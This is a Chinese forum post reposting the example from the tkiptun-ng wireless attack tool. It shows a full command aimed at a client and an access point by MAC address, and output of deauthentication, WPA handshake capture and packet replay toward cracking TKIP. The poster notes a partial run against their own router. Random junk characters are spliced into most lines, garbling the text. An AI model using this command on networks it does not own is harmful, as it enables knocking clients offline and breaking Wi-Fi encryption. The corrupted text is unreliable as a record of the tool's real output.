新兵上阵
- 注册时间
- 2008-9-14
- 金币
- 39 个
- 威望
- 0 个
- 荣誉
- 0 个
尚未签到
|
轉貼
# d4 h Z& c3 Z: w/ f The example below is incomplete but it gives some idea of how it looks.
" T# Y! S8 T. f, J4 ~: A! s4 i+ ~, Q% S7 Q( w: @5 M
& c5 A o5 x) z' K* O
# ~) C' W. @) E* A
來源mac ap mac
7 y9 R' p1 V0 N. aInput: tkiptun-ng -h 00:0F:B5:AB:CB:9D -a 00:14:6C:7E:40:80 -m 80 -n 100 ath03 \' M$ W8 d0 B5 |
( v: a, }/ X* M/ z5 {Output:
( k0 I9 i( A9 s3 c( E, ^ b; A0 ?9 T/ \+ w% d0 D, D# H
Blub 2:38 E6 38 1C 24 15 1C CF& U3 U# @# B2 `# A! a( k
Blub 1:17 DD 0D 69 1D C3 1F EE7 p4 H+ G8 w* y& `. a
Blub 3:29 31 79 E7 E6 CF 8D 5E& ~% H- f/ x; n: {. u
14:48:00 Michael Test: Successful
3 i% L* q9 |" C" J# C14:48:00 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9* ^# a! d) a) x( t- i: ~3 k# A/ U
14:48:00 Found specified AP( K$ @0 _! b, ~+ ^( f. d
14:48:00 Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 2| 4 ACKs]
' f* I: u5 b% u& @0 `& e" T; y14:48:02 WPA handshake: 00:14:6C:7E:40:80 captured5 C+ B% Q$ E9 T! [9 r( |! p
14:48:02 Waiting for an ARP packet coming from the Client...
8 l9 [% i# Z1 Q0 J! C* e `, uSaving chosen packet in replay_src-1109-144822.cap
- D3 G. x! t9 Y1 @; H- G! Z14:48:22 Waiting for an ARP response packet coming from the AP...
) d2 ^5 C) b0 c7 ~2 LSaving chosen packet in replay_src-1109-144822.cap6 h' O6 }$ L: Q' e' l
14:48:22 Got the answer!8 }1 _2 q) `+ _
14:48:22 Waiting 5 seconds to let encrypted EAPOL frames pass without interfering.
8 l; G- v4 b* W8 a- z' N* |9 ]2 z2 c! y" d" R7 l
Sent 40 packets, current guess: 27..
. E* m | g! j; K1 @" @2 q/ F" ?0 _5 \7 _! W/ Y, U: H' F
1 t" i( h2 W0 x2 g: @
對自家的wpa2 ap測了一下只出現+ T/ _: p _; s7 l0 |& G4 m5 N
3 T" `( F# \& `/ v6 P
Blub 2:38 E6 38 1C 24 15 1C CF
0 k! E/ R) H' c3 eBlub 1:17 DD 0D 69 1D C3 1F EE# t, g T; {# c' r) O. F
Blub 3:29 31 79 E7 E6 CF 8D 5E, E5 F. N8 T/ Z4 W( y
14:48:00 Michael Test: Successful. [, O3 T' o' j$ J
. C$ ]% N! [* z5 Y* `" Q" Q有空把密碼改改試試 |
|